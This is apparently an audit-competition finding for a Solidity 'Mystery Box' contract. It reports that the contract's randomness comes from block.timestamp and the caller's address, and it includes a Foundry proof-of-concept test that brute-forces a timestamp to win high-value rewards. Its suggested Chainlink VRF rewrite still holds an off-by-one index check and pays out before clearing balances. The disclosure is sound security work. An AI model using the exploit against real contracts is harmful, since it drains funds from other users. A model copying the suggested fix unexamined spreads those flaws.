Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Randomness is predictable

Summary

Use of block.timestamp and caller address is used to generate randomness, which is predicatable and can be used to get high value rewards.

Vulnerability Details

2024-09-mystery-box/src/MysteryBox.sol at main · Cyfrin/2024-09-mystery-box (github.com)

When user call openBox a random number is generated which will decided the mystery box value. However the method used to generate randomness are two variables, namely block.timestamp and caller address. As both are known so output is highly predicatable.

This can be used to get high value rewards and drain the pool.

POC

Adjust the setup first, As it has one issue.

function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
vm.prank(owner);
vm.deal(owner, 1 ether);
- mysteryBox = new MysteryBox();
+ mysteryBox = new MysteryBox{value: 0.1 ether}();
console.log("Reward Pool Length:", mysteryBox.getRewardPool().length);
}

Now add the following test in existing test suite:

function findExploitTimestamp(address _attacker) public view returns (uint256) {
uint256 currentTimestamp = block.timestamp;
for (uint256 i = 0; i < 1000; i++) {
uint256 randomValue = uint256(keccak256(abi.encodePacked(currentTimestamp + i, _attacker))) % 100;
// Check if this timestamp would result in a Gold Coin (1% chance) or Silver Coin (4% chance)
if (randomValue >= 95) {
return currentTimestamp + i;
}
}
revert("Could not find an exploit timestamp within 1000 iterations");
}
function testExploitRandomness() public {
address attacker = address(0x6969);
// Fund the attacker
vm.deal(attacker, 1 ether);
// Attacker buys a box
vm.prank(attacker);
mysteryBox.buyBox{value: 0.1 ether}();
// Find a timestamp that results in a high-value reward
uint256 exploitTimestamp = findExploitTimestamp(attacker);
// Set the block timestamp to the exploit timestamp
vm.warp(exploitTimestamp);
// Attacker opens the box at the carefully chosen timestamp
vm.prank(attacker);
mysteryBox.openBox();
// Check the attacker's rewards
vm.prank(attacker);
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards.length, 1, "Attacker should have received one reward");
assertTrue(
keccak256(abi.encodePacked(rewards[0].name)) == keccak256(abi.encodePacked("Gold Coin")) ||
keccak256(abi.encodePacked(rewards[0].name)) == keccak256(abi.encodePacked("Silver Coin")),
"Attacker should have received a high-value reward"
);
console2.log("Exploit successful! Reward received:", rewards[0].name);
console2.log("Reward value:", rewards[0].value);
}

now run ``forge test --mt testExploitRandomness -vvand it will show following output:

[⠊] Compiling...
[⠢] Compiling 1 files with Solc 0.8.26
[⠰] Solc 0.8.26 finished in 1.22s
Compiler run successful!
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testExploitRandomness() (gas: 102546)
Logs:
Reward Pool Length: 4
Exploit successful! Reward received: Silver Coin
Reward value: 500000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.95ms (1.34ms CPU time)
Ran 1 test suite in 155.44ms (2.95ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Innocent users will suffer a lot due to this, As attackers gonna openBox that are high value.

Tools Used

Manual Review

Recommendations

Implemet chainlink VRF for generating randomness.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {ConfirmedOwner} from "@chainlink/contracts/src/v0.8/shared/access/ConfirmedOwner.sol";
import {VRFV2PlusWrapperConsumerBase} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFV2PlusWrapperConsumerBase.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
contract MysteryBox is VRFV2PlusWrapperConsumerBase, ConfirmedOwner {
address public wrapperAddress;
uint32 public callbackGasLimit = 100000;
uint16 public requestConfirmations = 3;
uint32 public numWords = 1;
uint256 public boxPrice;
mapping(address => uint256) public boxesOwned;
mapping(address => Reward[]) public rewardsOwned;
Reward[] public rewardPool;
mapping(uint256 => address) private requestToSender;
struct Reward {
string name;
uint256 value;
}
event BoxOpened(address indexed user, string rewardName, uint256 rewardValue);
constructor(address _wrapperAddress)
ConfirmedOwner(msg.sender)
VRFV2PlusWrapperConsumerBase(_wrapperAddress)
{
wrapperAddress = _wrapperAddress;
boxPrice = 0.1 ether;
// Initialize reward pool
rewardPool.push(Reward("Gold Coin", 1 ether));
rewardPool.push(Reward("Silver Coin", 0.5 ether));
rewardPool.push(Reward("Bronze Coin", 0.1 ether));
rewardPool.push(Reward("Coal", 0 ether));
}
function buyBox() public payable {
require(msg.value == boxPrice, "Incorrect ETH sent");
boxesOwned[msg.sender] += 1;
}
function openBox() public returns (uint256 requestId) {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
boxesOwned[msg.sender] -= 1;
bytes memory extraArgs = VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({nativePayment: false})
);
(requestId,) = requestRandomness(
callbackGasLimit,
requestConfirmations,
numWords,
extraArgs
);
requestToSender[requestId] = msg.sender;
return requestId;
}
function fulfillRandomWords(
uint256 _requestId,
uint256[] memory _randomWords
) internal override {
address sender = requestToSender[_requestId];
require(sender != address(0), "Request not found");
uint256 randomValue = _randomWords[0] % 100;
Reward memory reward;
if (randomValue < 75) {
reward = rewardPool[3]; // Coal (75% chance)
} else if (randomValue < 95) {
reward = rewardPool[2]; // Bronze Coin (20% chance)
} else if (randomValue < 99) {
reward = rewardPool[1]; // Silver Coin (4% chance)
} else {
reward = rewardPool[0]; // Gold Coin (1% chance)
}
rewardsOwned[sender].push(reward);
emit BoxOpened(sender, reward.name, reward.value);
delete requestToSender[_requestId];
}
function setBoxPrice(uint256 _price) public onlyOwner {
boxPrice = _price;
}
function addReward(string memory name, uint256 value) public onlyOwner {
rewardPool.push(Reward(name, value));
}
function transferReward(address _to, uint256 _index) public {
require(_index < rewardsOwned[msg.sender].length, "Invalid index");
rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);
delete rewardsOwned[msg.sender][_index];
}
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender][_index];
}
function withdrawFunds() public onlyOwner {
(bool success,) = payable(owner()).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function getRewards() public view returns (Reward[] memory) {
return rewardsOwned[msg.sender];
}
receive() external payable {}
}
Updates

Appeal created

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.